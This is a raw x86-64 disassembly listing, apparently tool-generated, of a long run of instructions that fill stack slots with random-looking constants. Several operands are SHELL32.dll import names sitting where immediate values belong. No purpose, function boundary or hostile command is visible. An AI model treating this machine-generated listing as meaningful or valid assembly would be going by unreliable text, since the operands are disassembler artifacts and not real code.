mov byte [rsp + 0x1d5], reloc.SHELL32.dll_ILSaveToStream
mov dword [rsp + 0x4f6c], 0x7c29
mov byte [rsp + 0x1d6], 0x7e
movabs rax, 0x7903c44351bcb0
mov qword [rsp + 0x9eb0], rax
mov eax, 0xba0
mov word [rsp + 0x1298], ax
mov dword [rsp + 0x4f70], 0x44eb
mov dword [rsp + 0x4f74], 0xbaaf
mov byte [rsp + 0x1d7], ILSaveToStream
movabs rax, 0x70e15f82bdfdbe
mov qword [rsp + 0x9eb8], rax
mov dword [rsp + 0x4f78], 0x7b23
mov eax, 0xcb3
mov word [rsp + 0x129c], ax
mov dword [rsp + 0x4f7c], 0x552b
mov eax, 0x66
mov word [rsp + 0x12a0], ax
mov eax, 0xd06
mov word [rsp + 0x12a4], ax
mov dword [rsp + 0x4f80], 0x6f9d
mov eax, 0x551
mov word [rsp + 0x12a8], ax
mov byte [rsp + 0x1d8], 0xe6
mov dword [rsp + 0x4f84], 0x2a22
mov eax, 0xd9
mov word [rsp + 0x12ac], ax
mov eax, 0x1d
mov word [rsp + 0x12b0], ax
mov byte [rsp + 0x1d9], SHDoDragDrop
mov byte [rsp + 0x1da], 0xb5
mov eax, 0x328
mov word [rsp + 0x12b4], ax
mov eax, 0x4ed
mov word [rsp + 0x12b8], ax
mov byte [rsp + 0x1db], 0x4d
mov byte [rsp + 0x1dc], SHDoDragDrop
movabs rax, 0x7ee0d9de510518
mov qword [rsp + 0x9ec0], rax
movabs rax, 0x7dee7a60dac05d
mov qword [rsp + 0x9ec8], rax
mov byte [rsp + 0x1dd], 0xfc
mov eax, 0x759
mov word [rsp + 0x12bc], ax
movabs rax, 0x701a0128021a9d
mov qword [rsp + 0x9ed0], rax
mov dword [rsp + 0x4f88], 0x5d1e
mov dword [rsp + 0x4f8c], 0x3265
mov eax, 0x7b9
mov word [rsp + 0x12c0], ax
mov eax, 0x771
mov word [rsp + 0x12c4], ax
mov dword [rsp + 0x4f90], 0x136a
mov eax, 0xce5
mov word [rsp + 0x12c8], ax
movabs rax, 0x7b11860e849b8c
mov qword [rsp + 0x9ed8], rax
mov eax, 0x554
mov word [rsp + 0x12cc], ax
mov eax, 0x7b8
mov word [rsp + 0x12d0], ax
movabs rax, 0x74a616fdbc6a76
mov qword [rsp + 0x9ee0], rax
mov byte [rsp + 0x1de], 0xa4
mov eax, 0x7b4
mov word [rsp + 0x12d4], ax
movabs rax, 0x7bb301843105de
mov qword [rsp + 0x9ee8], rax
mov byte [rsp + 0x1df], 0x60
movabs rax, 0x7de359137f077f
mov qword [rsp + 0x9ef0], rax
mov eax, 0xd2d
mov word [rsp + 0x12d8], ax
mov dword [rsp + 0x4f94], 0x6ce8
mov eax, 0x95c
mov word [rsp + 0x12dc], ax
movabs rax, 0x7e5377acf80ee6
mov qword [rsp + 0x9ef8], rax
movabs rax, 0x7c84957b16516f
mov qword [rsp + 0x9f00], rax
mov eax, 0xbeb
mov word [rsp + 0x12e0], ax
mov byte [rsp + 0x1e0], 0x69
movabs rax, 0x76b3f9558825e9
mov qword [rsp + 0x9f08], rax
mov dword [rsp + 0x4f98], 0x5d0c
movabs rax, 0x7729ca92dc67b7
mov qword [rsp + 0x9f10], rax
mov byte [rsp + 0x1e1], 0xa6
movabs rax, 0x77251043b04191
mov qword [rsp + 0x9f18], rax
mov dword [rsp + 0x4f9c], 0x75de
movabs rax, 0x740ade426e0cb5
mov qword [rsp + 0x9f20], rax
movabs rax, 0x7190b1e32be59e
mov qword [rsp + 0x9f28], rax
movabs rax, 0x7cfd505cbb8946
mov qword [rsp + 0x9f30], rax
mov dword [rsp + 0x4fa0], 0x35f4
mov byte [rsp + 0x1e2], 0x6f
mov eax, 0x905
mov word [rsp + 0x12e4], ax
mov eax, 0xcd4
mov word [rsp + 0x12e8], ax
mov byte [rsp + 0x1e3], SHDoDragDrop
mov byte [rsp + 0x1e4], 0x63
mov eax, 0x7c4
mov word [rsp + 0x12ec], ax
movabs rax, 0x7589a3840b285c
mov qword [rsp + 0x9f38], rax
mov dword [rsp + 0x4fa4], 0x5dd2
movabs rax, 0x7a08ef99ab5fed
mov qword [rsp + 0x9f40], rax
mov dword [rsp + 0x4fa8], 0x4d88
movabs rax, 0x788de929fee38d
mov qword [rsp + 0x9f48], rax
mov eax, 0x3f4
mov word [rsp + 0x12f0], ax
mov eax, 0x48
mov word [rsp + 0x12f4], ax
mov eax, 0x30
mov word [rsp + 0x12f8], ax
mov eax, 0x4eb
mov word [rsp + 0x12fc], ax
mov dword [rsp + 0x4fac], 0x2f62
mov byte [rsp + 0x1e5], PathMakeUniqueName
mov byte [rsp + 0x1e6], 0x64
movabs rax, 0x779ec868638aa1
mov qword [rsp + 0x9f50], rax
mov dword [rsp + 0x4fb0], 0x4618
mov eax, 0xf5b
mov word [rsp + 0x1300], ax
mov eax, 0x132
mov word [rsp + 0x1304], ax
mov eax, 0x31e
mov word [rsp + 0x1308], ax
movabs rax, 0x76d7bdeb06a182
mov qword [rsp + 0x9f58], rax
mov eax, 0x416
mov word [rsp + 0x130c], ax
movabs rax, 0x731fe5ccaf7654
mov qword [rsp + 0x9f60], rax
mov eax, 0xe35
mov word [rsp + 0x1310], ax
movabs rax, 0x74c6cc6f3c3ffb
mov qword [rsp + 0x9f68], rax
mov eax, 0x731
mov word [rsp + 0x1314], ax
mov eax, 0xddc
mov word [rsp + 0x1318], ax
movabs rax, 0x7521923832aa65
mov qword [rsp + 0x9f70], rax
mov dword [rsp + 0x4fb4], 0xebf7
mov eax, 0xf8
mov word [rsp + 0x131c], ax
mov eax, 0xa2
mov word [rsp + 0x1320], ax
movabs rax, 0x7a5a75c5635922
mov qword [rsp + 0x9f78], rax
movabs rax, 0x7bfc6ce7607c90
mov qword [rsp + 0x9f80], rax
movabs rax, 0x760c5428e44b22
mov qword [rsp + 0x9f88], rax
mov eax, 0x897
mov word [rsp + 0x1324], ax
mov dword [rsp + 0x4fb8], 0xd845
movabs rax, 0x7a4e135ab71996
mov qword [rsp + 0x9f90], rax
mov dword [rsp + 0x4fbc], 0x1ec4
mov eax, 0x907
mov word [rsp + 0x1328], ax
mov dword [rsp + 0x4fc0], 0x23d5
mov dword [rsp + 0x4fc4], 0x42d0
mov byte [rsp + 0x1e7], 0xc7
movabs rax, 0x7ce69f4028f27e
mov qword [rsp + 0x9f98], rax
mov byte [rsp + 0x1e8], 0x1f
mov eax, 0x319
mov word [rsp + 0x132c], ax
movabs rax, 0x7b8d741e05dc86
mov qword [rsp + 0x9fa0], rax
movabs rax, 0x78a36d11cbf996
mov qword [rsp + 0x9fa8], rax
mov byte [rsp + 0x1e9], 0x9e
mov dword [rsp + 0x4fc8], 0x8053
mov eax, 0xfda
mov word [rsp + 0x1330], ax
mov eax, 0x534
mov word [rsp + 0x1334], ax
mov dword [rsp + 0x4fcc], 0x9294
movabs rax, 0x77d7cf163c73b8
mov qword [rsp + 0x9fb0], rax
mov byte [rsp + 0x1ea], reloc.SHELL32.dll_ILRemoveLastID
mov eax, 0x39f
mov word [rsp + 0x1338], ax
mov eax, 0xc5c
mov word [rsp + 0x133c], ax
mov dword [rsp + 0x4fd0], 0x86ac
mov dword [rsp + 0x4fd4], 0x54c
mov eax, 0x5f3
mov word [rsp + 0x1340], ax
movabs rax, 0x77c131fc8d7f38
mov qword [rsp + 0x9fb8], rax
movabs rax, 0x7dfdf4b274e3f6
mov qword [rsp + 0x9fc0], rax
mov byte [rsp + 0x1eb], ILRemoveLastID
movabs rax, 0x77991ecc608144
mov qword [rsp + 0x9fc8], rax
mov dword [rsp + 0x4fd8], 0x7ef
movabs rax, 0x7e9a9da88c6077
mov qword [rsp + 0x9fd0], rax
mov byte [rsp + 0x1ec], 0xec
mov dword [rsp + 0x4fdc], 0x7b31
mov eax, 0x5ab
mov word [rsp + 0x1344], ax
mov dword [rsp + 0x4fe0], 0x827e
mov dword [rsp + 0x4fe4], 0x65b9
movabs rax, 0x79c4af2fa9ebd4
mov qword [rsp + 0x9fd8], rax
mov eax, 0xbc0
mov word [rsp + 0x1348], ax
mov eax, 0x7d0
mov word [rsp + 0x134c], ax
mov eax, 0x910
mov word [rsp + 0x1350], ax
mov eax, 0x1fa
mov word [rsp + 0x1354], ax
mov byte [rsp + 0x1ed], 0xe8
mov eax, 0x333
mov word [rsp + 0x1358], ax
mov byte [rsp + 0x1ee], 0xa1
mov eax, 0xa8f
mov word [rsp + 0x135c], ax
mov dword [rsp + 0x4fe8], 0x2b33
mov eax, ILAppendID
mov word [rsp + 0x1360], ax
mov byte [rsp + 0x1ef], 0x31
movabs rax, 0x7590921866f120
mov qword [rsp + 0x9fe0], rax
mov byte [rsp + 0x1f0], 0xc4
mov dword [rsp + 0x4fec], 0xfcd1
mov eax, 0x12d
mov word [rsp + 0x1364], ax
mov byte [rsp + 0x1f1], 0x47
movabs rax, 0x704f9a1117af54
mov qword [rsp + 0x9fe8], rax
mov dword [rsp + 0x4ff0], 0x44e0
movabs rax, 0x7a7f32cdac1714
mov qword [rsp + 0x9ff0], rax
mov dword [rsp + 0x4ff4], 0xb54c
mov eax, 0x364
mov word [rsp + 0x1368], ax
movabs rax, 0x77045955448239
mov qword [rsp + 0x9ff8], rax
mov dword [rsp + 0x4ff8], 0x20be
mov eax, 0xcf3
mov word [rsp + 0x136c], ax
mov byte [rsp + 0x1f2], PathMakeUniqueName
mov byte [rsp + 0x1f3], 0xea
movabs rax, 0x7b95c5d2a84f37
mov qword [rsp + 0xa000], rax
mov eax, 0x1a5
mov word [rsp + 0x1370], ax
mov eax, 0x31d
mov word [rsp + 0x1374], ax
movabs rax, 0x7c23194033828c
mov qword [rsp + 0xa008], rax
movabs rax, 0x76a2cfce46ec14
mov qword [rsp + 0xa010], rax
mov dword [rsp + 0x4ffc], 0xf639
movabs rax, 0x7cb9d974228bae
mov qword [rsp + 0xa018], rax
mov dword [rsp + 0x5000], 0x8b8c
mov eax, 0x78b
mov word [rsp + 0x1378], ax
mov byte [rsp + 0x1f4], 0x70
mov eax, 0xbe4
mov word [rsp + 0x137c], ax
movabs rax, 0x72160d02dddc3f
mov qword [rsp + 0xa020], rax
movabs rax, 0x76c3a3c8b53aca
mov qword [rsp + 0xa028], rax
mov eax, 0x69d
mov word [rsp + 0x1380], ax
mov byte [rsp + 0x1f5], 0x8d
mov byte [rsp + 0x1f6], 0x50
mov byte [rsp + 0x1f7], 0xda
mov dword [rsp + 0x5004], 0x2757
movabs rax, 0x7c38a9c79adaa9
mov qword [rsp + 0xa030], rax
movabs rax, 0x7ef44f86e2929b
mov qword [rsp + 0xa038], rax
movabs rax, 0x71cbe6fdd66a97
mov qword [rsp + 0xa040], rax
mov dword [rsp + 0x5008], 0x7698
mov dword [rsp + 0x500c], 0x6c73
mov eax, 0x71e
mov word [rsp + 0x1384], ax
mov byte [rsp + 0x1f8], 0x74
mov eax, 0x598
mov word [rsp + 0x1388], ax
mov eax, 0x3f7
mov word [rsp + 0x138c], ax
mov eax, 0xd77
mov word [rsp + 0x1390], ax
mov dword [rsp + 0x5010], 0x385e
mov byte [rsp + 0x1f9], ILCreateFromPathW
mov dword [rsp + 0x5014], 0x5477
mov eax, 0x63
mov word [rsp + 0x1394], ax
movabs rax, 0x7bee663ee95482
mov qword [rsp + 0xa048], rax
mov dword [rsp + 0x5018], 0x7b10
mov dword [rsp + 0x501c], 0xb2f
mov dword [rsp + 0x5020], 0x850b
mov eax, 0x46b
mov word [rsp + 0x1398], ax
mov dword [rsp + 0x5024], 0x2938
mov byte [rsp + 0x1fa], ILRemoveLastID
mov dword [rsp + 0x5028], 0x377e
mov eax, 0x7ab
mov word [rsp + 0x139c], ax
mov eax, 0x854
mov word [rsp + 0x13a0], ax
mov byte [rsp + 0x1fb], 0x50
mov eax, 0xc19
mov word [rsp + 0x13a4], ax
mov dword [rsp + 0x502c], 0x69ae
mov eax, 0x63d
mov word [rsp + 0x13a8], ax
mov dword [rsp + 0x5030], 0xaf5b
mov eax, 0x2a8
mov word [rsp + 0x13ac], ax
movabs rax, 0x770bba77d7e485
mov qword [rsp + 0xa050], rax
mov eax, 0x72a
mov word [rsp + 0x13b0], ax
mov eax, 0x475
mov word [rsp + 0x13b4], ax
movabs rax, 0x7042df97413fca
mov qword [rsp + 0xa058], rax
movabs rax, 0x7df27c07665e99
mov qword [rsp + 0xa060], rax
mov eax, 0x466
mov word [rsp + 0x13b8], ax
mov eax, 0xd08
mov word [rsp + 0x13bc], ax
mov dword [rsp + 0x5034], 0xf4be
mov dword [rsp + 0x5038], 0x1fff
mov eax, 0x78b
mov word [rsp + 0x13c0], ax
mov eax, 0x707
mov word [rsp + 0x13c4], ax
mov dword [rsp + 0x503c], 0x1242
mov byte [rsp + 0x1fc], 0x6d
mov eax, 0xa19
mov word [rsp + 0x13c8], ax
mov eax, 0x9b0
mov word [rsp + 0x13cc], ax
mov dword [rsp + 0x5040], 0xda83
mov byte [rsp + 0x1fd], 0x5c
movabs rax, 0x78f622ffbab9c1
mov qword [rsp + 0xa068], rax
mov byte [rsp + 0x1fe], 0xc6
mov dword [rsp + 0x5044], 0x46de
mov dword [rsp + 0x5048], 0x773a
mov byte [rsp + 0x1ff], SHSetInstanceExplorer
movabs rax, 0x72ca0d6d88f263
mov qword [rsp + 0xa070], rax
mov byte [rsp + 0x200], SHSetInstanceExplorer
mov dword [rsp + 0x504c], 0xc44d
mov dword [rsp + 0x5050], 0xc9ad
mov byte [rsp + 0x201], ILAppendID
mov dword [rsp + 0x5054], 0xa48f
mov byte [rsp + 0x202], SHSetInstanceExplorer
mov dword [rsp + 0x5058], 0x1a5e
movabs rax, 0x76aad2e3db868f
mov qword [rsp + 0xa078], rax
mov dword [rsp + 0x505c], 0xb3c7
mov eax, 0xc3e
mov word [rsp + 0x13d0], ax
mov byte [rsp + 0x203], SHDoDragDrop
mov dword [rsp + 0x5060], 0x6a4f
movabs rax, 0x7db805cb3cfe8c
mov qword [rsp + 0xa080], rax
movabs rax, 0x7aac4cbcf14f70
mov qword [rsp + 0xa088], rax
mov byte [rsp + 0x204], 0x46
movabs rax, 0x778048fbda314c
mov qword [rsp + 0xa090], rax
mov byte [rsp + 0x205], PathMakeUniqueName
mov dword [rsp + 0x5064], 0x57ef
movabs rax, 0x74dd8315dfd1bd
mov qword [rsp + 0xa098], rax
movabs rax, 0x73612f19d0b02d
mov qword [rsp + 0xa0a0], rax
mov eax, 0x63f
mov word [rsp + 0x13d4], ax
mov dword [rsp + 0x5068], 0x616b
movabs rax, 0x79201978d94310
mov qword [rsp + 0xa0a8], rax
mov byte [rsp + 0x206], reloc.SHELL32.dll_ILFindLastID
mov eax, 0x293
mov word [rsp + 0x13d8], ax
movabs rax, 0x708a0a5a65122b
mov qword [rsp + 0xa0b0], rax
movabs rax, 0x72776658f9d6d2
mov qword [rsp + 0xa0b8], rax
mov eax, 0x661
mov word [rsp + 0x13dc], ax
mov byte [rsp + 0x207], 0xa7
mov dword [rsp + 0x506c], 0x5ada
movabs rax, 0x7118bb0318c5cb
mov qword [rsp + 0xa0c0], rax
movabs rax, 0x7216f829bbb564
mov qword [rsp + 0xa0c8], rax
movabs rax, 0x760abe02a3b6b0
mov qword [rsp + 0xa0d0], rax
mov dword [rsp + 0x5070], 0x5780
movabs rax, 0x7081017be8e76d
mov qword [rsp + 0xa0d8], rax
mov dword [rsp + 0x5074], 0x1c10
mov byte [rsp + 0x208], 0x7e
mov byte [rsp + 0x209], ILAppendID
mov dword [rsp + 0x5078], 0xbbed
movabs rax, 0x71aaba8e798edd
mov qword [rsp + 0xa0e0], rax
mov dword [rsp + 0x507c], 0x715
mov byte [rsp + 0x20a], 0x1d
mov eax, 0x7b9
mov word [rsp + 0x13e0], ax
mov byte [rsp + 0x20b], reloc.SHELL32.dll_SHDoDragDrop
movabs rax, 0x7413e9131c417c
mov qword [rsp + 0xa0e8], rax
mov dword [rsp + 0x5080], 0x3493
mov dword [rsp + 0x5084], 0x5a2f
mov byte [rsp + 0x20c], 7
movabs rax, 0x7a06c3dc96b005
mov qword [rsp + 0xa0f0], rax
mov dword [rsp + 0x5088], 0xb450
mov byte [rsp + 0x20d], 0x3c
mov eax, 0x534
mov word [rsp + 0x13e4], ax
mov dword [rsp + 0x508c], 0x1cf6
mov eax, 0x36f
mov word [rsp + 0x13e8], ax
mov byte [rsp + 0x20e], 0x4c
mov eax, 0x74
mov word [rsp + 0x13ec], ax
mov dword [rsp + 0x5090], 0x765f
mov dword [rsp + 0x5094], 0x374
mov dword [rsp + 0x5098], 0x2894
movabs rax, 0x786d1af930dc21
mov qword [rsp + 0xa0f8], rax
mov byte [rsp + 0x20f], 0xc2
mov eax, 0x275
mov word [rsp + 0x13f0], ax
movabs rax, 0x755d50c7cb688a
mov qword [rsp + 0xa100], rax
mov dword [rsp + 0x509c], 0xe8f
movabs rax, 0x7220c9b67e00de
mov qword [rsp + 0xa108], rax
mov eax, 0xf75
mov word [rsp + 0x13f4], ax
movabs rax, 0x7cb18101295e42
mov qword [rsp + 0xa110], rax
movabs rax, 0x7bc4fa89fbec77
mov qword [rsp + 0xa118], rax
mov dword [rsp + 0x50a0], 0xeca6
mov eax, 0xb54
mov word [rsp + 0x13f8], ax
mov byte [rsp + 0x210], SHSetInstanceExplorer
mov dword [rsp + 0x50a4], 0x2444
mov byte [rsp + 0x211], 0x71
mov eax, 0x560
mov word [rsp + 0x13fc], ax
mov byte [rsp + 0x212], 0x4e
movabs rax, 0x7911dd39d94a1f
mov qword [rsp + 0xa120], rax
mov eax, 0x6f7
mov word [rsp + 0x1400], ax
mov byte [rsp + 0x213], 0x7f
mov eax, 0x6d1
mov word [rsp + 0x1404], ax
mov byte [rsp + 0x214], 0x75
mov eax, 0xcda
mov word [rsp + 0x1408], ax
mov byte [rsp + 0x215], 0xf7
mov dword [rsp + 0x50a8], 0x89a0
mov dword [rsp + 0x50ac], 0x4d66
mov dword [rsp + 0x50b0], 0x8dc
movabs rax, 0x736cc331943eb2
mov qword [rsp + 0xa128], rax
mov dword [rsp + 0x50b4], 0x2cbe
mov eax, 0xe23
mov word [rsp + 0x140c], ax
mov eax, 0xc43
mov word [rsp + 0x1410], ax
mov eax, 0xc9a
mov word [rsp + 0x1414], ax
mov eax, 0x59e
mov word [rsp + 0x1418], ax
mov byte [rsp + 0x216], ILRemoveLastID
mov dword [rsp + 0x50b8], 0x2c13
movabs rax, 0x71b51242705770
mov qword [rsp + 0xa130], rax
movabs rax, 0x7d7a765f8a5d5d
mov qword [rsp + 0xa138], rax
mov eax, 0x33b
mov word [rsp + 0x141c], ax
mov eax, 0x555
mov word [rsp + 0x1420], ax
mov eax, 0xf33
mov word [rsp + 0x1424], ax
mov dword [rsp + 0x50bc], 0x973f
mov dword [rsp + 0x50c0], 0x2be2
mov dword [rsp + 0x50c4], 0xbeef
mov eax, 0x78c
mov word [rsp + 0x1428], ax
mov byte [rsp + 0x217], SHGetNewLinkInfoW
mov dword [rsp + 0x50c8], 0xcb92
movabs rax, 0x75e2a62b424ad6
mov qword [rsp + 0xa140], rax
mov byte [rsp + 0x218], 0xc2
mov eax, 0x1e2
mov word [rsp + 0x142c], ax
movabs rax, 0x7640c2924bb213
mov qword [rsp + 0xa148], rax
mov dword [rsp + 0x50cc], 0x67e0
mov byte [rsp + 0x219], 0xce
mov byte [rsp + 0x21a], 0x5e
mov eax, 0x1fb
mov word [rsp + 0x1430], ax
mov byte [rsp + 0x21b], 2
mov byte [rsp + 0x21c], 0xd1
mov dword [rsp + 0x50d0], 0xbafc
mov eax, 0xbf8
mov word [rsp + 0x1434], ax
mov dword [rsp + 0x50d4], 0x9e42
movabs rax, 0x757ce90ce6325e
mov qword [rsp + 0xa150], rax
mov eax, 0x74e
mov word [rsp + 0x1438], ax
mov eax, 0x498
mov word [rsp + 0x143c], ax
movabs rax, 0x7c53b449536991
mov qword [rsp + 0xa158], rax
mov dword [rsp + 0x50d8], 0x1f14
mov dword [rsp + 0x50dc], 0xf668
movabs rax, 0x73f980d1be610e
mov qword [rsp + 0xa160], rax
mov dword [rsp + 0x50e0], 0x6dcd
mov dword [rsp + 0x50e4], 0x62a8
mov byte [rsp + 0x21d], 0xea
mov byte [rsp + 0x21e], 9
movabs rax, 0x71f38bc05285b1
mov qword [rsp + 0xa168], rax
mov byte [rsp + 0x21f], 5
mov eax, 0x13e
mov word [rsp + 0x1440], ax
movabs rax, 0x7ad795250fe66a
mov qword [rsp + 0xa170], rax
mov eax, 0x61
mov word [rsp + 0x1444], ax
mov dword [rsp + 0x50e8], 0xc55
movabs rax, 0x7ab4114e5db318
mov qword [rsp + 0xa178], rax
mov byte [rsp + 0x220], 0x25
mov dword [rsp + 0x50ec], 0x9f81
mov eax, 0x54a
mov word [rsp + 0x1448], ax
mov eax, 0x3b9
mov word [rsp + 0x144c], ax
mov dword [rsp + 0x50f0], 0x67d7
movabs rax, 0x7d4d496257c64e
mov qword [rsp + 0xa180], rax
mov eax, 0x90c
mov word [rsp + 0x1450], ax
movabs rax, 0x73a57d1b0486ff
mov qword [rsp + 0xa188], rax
mov dword [rsp + 0x50f4], 0x313d
mov eax, 0xb85
mov word [rsp + 0x1454], ax
mov byte [rsp + 0x221], 0x7a
mov dword [rsp + 0x50f8], 0x1066
movabs rax, 0x733042a7424af7
mov qword [rsp + 0xa190], rax
mov eax, 0x17b
mov word [rsp + 0x1458], ax
movabs rax, 0x78af2f784e62c1
mov qword [rsp + 0xa198], rax
mov eax, ILRemoveLastID
mov word [rsp + 0x145c], ax
movabs rax, 0x709d99bb12b763
mov qword [rsp + 0xa1a0], rax
mov dword [rsp + 0x50fc], 0x2bb2
movabs rax, 0x76d08ae0fd2afb
mov qword [rsp + 0xa1a8], rax
movabs rax, 0x72f3cd2d1b7a5e
mov qword [rsp + 0xa1b0], rax
mov dword [rsp + 0x5100], 0x2f72
mov eax, 0xa36
mov word [rsp + 0x1460], ax
movabs rax, 0x7bdeaf19f33537
mov qword [rsp + 0xa1b8], rax
movabs rax, 0x7a024a2fb8883f
mov qword [rsp + 0xa1c0], rax
movabs rax, 0x7a0ee4be92ee9c
mov qword [rsp + 0xa1c8], rax
movabs rax, 0x7634fe3d8550ad
mov qword [rsp + 0xa1d0], rax
mov eax, 0x140
mov word [rsp + 0x1464], ax
mov dword [rsp + 0x5104], 0xfba2
mov eax, 0x521
mov word [rsp + 0x1468], ax
mov dword [rsp + 0x5108], 0x343c
movabs rax, 0x70679839554226
mov qword [rsp + 0xa1d8], rax
mov dword [rsp + 0x510c], 0x8f42
movabs rax, 0x7160baec6d4420
mov qword [rsp + 0xa1e0], rax
mov byte [rsp + 0x222], 0xd3
mov dword [rsp + 0x5110], 0xc5af
mov byte [rsp + 0x223], 0xe6
mov dword [rsp + 0x5114], 0x203b
mov byte [rsp + 0x224], 2
mov dword [rsp + 0x5118], 0x5677
movabs rax, 0x708e9851726841
mov qword [rsp + 0xa1e8], rax
mov byte [rsp + 0x225], 0xca
movabs rax, 0x78c26fb37d1a15
mov qword [rsp + 0xa1f0], rax
movabs rax, 0x7b9344146d43bd
mov qword [rsp + 0xa1f8], rax
mov byte [rsp + 0x226], 0xd8
movabs rax, 0x7ed5684e165088
mov qword [rsp + 0xa200], rax
movabs rax, 0x701c136263620b
mov qword [rsp + 0xa208], rax
movabs rax, 0x7251866037e5e0
mov qword [rsp + 0xa210], rax
mov dword [rsp + 0x511c], 0x5e78
mov byte [rsp + 0x227], 0xd1
mov eax, 0x6e9
mov word [rsp + 0x146c], ax
mov eax, 0x816
mov word [rsp + 0x1470], ax
mov eax, 0x15b
mov word [rsp + 0x1474], ax
mov dword [rsp + 0x5120], 0x6772
mov byte [rsp + 0x228], 0xc0
mov byte [rsp + 0x229], 0xf8
mov eax, 0x77d
mov word [rsp + 0x1478], ax
mov eax, 0x874
mov word [rsp + 0x147c], ax
movabs rax, 0x7276ec806066ac
mov qword [rsp + 0xa218], rax
movabs rax, 0x7e15bd07b25a08
mov qword [rsp + 0xa220], rax
movabs rax, 0x7b74acba0b75a3
mov qword [rsp + 0xa228], rax
mov eax, 0x4f1
mov word [rsp + 0x1480], ax
mov dword [rsp + 0x5124], 0x6d96
mov eax, 0x4d0
mov word [rsp + 0x1484], ax
movabs rax, 0x72a9b29294f6a7
mov qword [rsp + 0xa230], rax
mov byte [rsp + 0x22a], 0x5c
mov byte [rsp + 0x22b], SHSetInstanceExplorer
movabs rax, 0x7c48a0996eb35e
mov qword [rsp + 0xa238], rax
movabs rax, 0x7000b93f3baa6a
mov qword [rsp + 0xa240], rax
movabs rax, 0x7e3c1e9f50443d
mov qword [rsp + 0xa248], rax
mov dword [rsp + 0x5128], 0x6976
mov byte [rsp + 0x22c], SHTestTokenMembership
mov eax, 0xc2b
mov word [rsp + 0x1488], ax
mov eax, 0x2e4
mov word [rsp + 0x148c], ax
movabs rax, 0x7e17bb8d414cbe
mov qword [rsp + 0xa250], rax
movabs rax, 0x7e7a0c6beae4ff
mov qword [rsp + 0xa258], rax
mov dword [rsp + 0x512c], 0x676
mov byte [rsp + 0x22d], 0x5a
movabs rax, 0x789e6e818a8f1d
mov qword [rsp + 0xa260], rax
mov byte [rsp + 0x22e], reloc.SHELL32.dll_ILFindChild
mov dword [rsp + 0x5130], 0x9f57
mov byte [rsp + 0x22f], 0x46
mov dword [rsp + 0x5134], 0x590f
mov dword [rsp + 0x5138], 0x5af2
movabs rax, 0x78b3c75ca895bd
mov qword [rsp + 0xa268], rax
mov byte [rsp + 0x230], reloc.SHELL32.dll_SHDoDragDrop
movabs rax, 0x7b0e57c5e3804b
mov qword [rsp + 0xa270], rax
movabs rax, 0x790b4bee86d419
mov qword [rsp + 0xa278], rax
movabs rax, 0x73af21e0f6c5a8
mov qword [rsp + 0xa280], rax
mov eax, 0x9e9
mov word [rsp + 0x1490], ax
movabs rax, 0x740f8ad53549d5
mov qword [rsp + 0xa288], rax
mov byte [rsp + 0x231], 0x22
mov byte [rsp + 0x232], ILRemoveLastID
mov byte [rsp + 0x233], 0x1e
mov dword [rsp + 0x513c], 0x18e5
mov byte [rsp + 0x234], 0x46
mov byte [rsp + 0x235], 8
mov dword [rsp + 0x5140], 0xa597
mov byte [rsp + 0x236], SHDoDragDrop
mov eax, 0x608
mov word [rsp + 0x1494], ax
movabs rax, 0x79bd02e8c0536e
mov qword [rsp + 0xa290], rax
mov dword [rsp + 0x5144], 0x6424
mov eax, 0x6fc
mov word [rsp + 0x1498], ax
mov dword [rsp + 0x5148], 0xbc30
mov eax, 0xae6
mov word [rsp + 0x149c], ax
mov dword [rsp + 0x514c], 0x83e2
mov eax, 0xed9
mov word [rsp + 0x14a0], ax
mov dword [rsp + 0x5150], 0xc90d
mov dword [rsp + 0x5154], 0xd971
mov eax, 0x67d
mov word [rsp + 0x14a4], ax
movabs rax, 0x7af063bdb92e50
mov qword [rsp + 0xa298], rax
mov eax, 0xb33
mov word [rsp + 0x14a8], ax
mov eax, 0x2a8
mov word [rsp + 0x14ac], ax
mov eax, 0x491
mov word [rsp + 0x14b0], ax
mov eax, 0x8f3
mov word [rsp + 0x14b4], ax
mov eax, 0x617
mov word [rsp + 0x14b8], ax
mov eax, 0x6e7
mov word [rsp + 0x14bc], ax
movabs rax, 0x7d99c0a4929822
mov qword [rsp + 0xa2a0], rax
mov eax, 0x313
mov word [rsp + 0x14c0], ax
mov byte [rsp + 0x237], 0xe2
mov byte [rsp + 0x238], 0x36
movabs rax, 0x77f14b81dfda72
mov qword [rsp + 0xa2a8], rax
mov eax, 0x504
mov word [rsp + 0x14c4], ax
mov byte [rsp + 0x239], 0x62
mov dword [rsp + 0x5158], 0x1248
movabs rax, 0x72cc02164a7dff
mov qword [rsp + 0xa2b0], rax
mov eax, 0x699
mov word [rsp + 0x14c8], ax
mov dword [rsp + 0x515c], 0xd6a9
mov byte [rsp + 0x23a], ILIsParent
movabs rax, 0x783426fb900b7e
mov qword [rsp + 0xa2b8], rax
movabs rax, 0x71efcf9ad6e824
mov qword [rsp + 0xa2c0], rax
mov dword [rsp + 0x5160], 0xe1f
movabs rax, 0x73a2862d92802d
mov qword [rsp + 0xa2c8], rax
mov dword [rsp + 0x5164], 0xdd08
mov byte [rsp + 0x23b], 0x7e
mov eax, 0xfe8
mov word [rsp + 0x14cc], ax
mov dword [rsp + 0x5168], 0x586a
mov byte [rsp + 0x23c], 0xb5
mov byte [rsp + 0x23d], 0x74
mov byte [rsp + 0x23e], 0xd1
mov dword [rsp + 0x516c], 0x4c8a
mov eax, 0x393
mov word [rsp + 0x14d0], ax
mov eax, 0xd83
mov word [rsp + 0x14d4], ax
mov eax, 0xa2a
mov word [rsp + 0x14d8], ax
mov dword [rsp + 0x5170], 0xea3d
mov byte [rsp + 0x23f], 4
mov dword [rsp + 0x5174], 0x3a76
mov eax, 0x9da
mov word [rsp + 0x14dc], ax
mov eax, 0xf33
mov word [rsp + 0x14e0], ax
movabs rax, 0x735c8a1ff87274
mov qword [rsp + 0xa2d0], rax
mov dword [rsp + 0x5178], 0x1569
mov eax, 0xc63
mov word [rsp + 0x14e4], ax
movabs rax, 0x73c225a5cbb495
mov qword [rsp + 0xa2d8], rax
movabs rax, 0x7e75b3985c2381
mov qword [rsp + 0xa2e0], rax
mov dword [rsp + 0x517c], 0x3241
mov eax, 0xa9
mov word [rsp + 0x14e8], ax
mov eax, 0x72e
mov word [rsp + 0x14ec], ax
mov byte [rsp + 0x240], PathMakeUniqueName
mov eax, 0x756
mov word [rsp + 0x14f0], ax
movabs rax, 0x709293a52e57bb
mov qword [rsp + 0xa2e8], rax
mov dword [rsp + 0x5180], 0x34fd
mov dword [rsp + 0x5184], 0x4131
mov byte [rsp + 0x241], 0x65
mov eax, 0x8b1
mov word [rsp + 0x14f4], ax
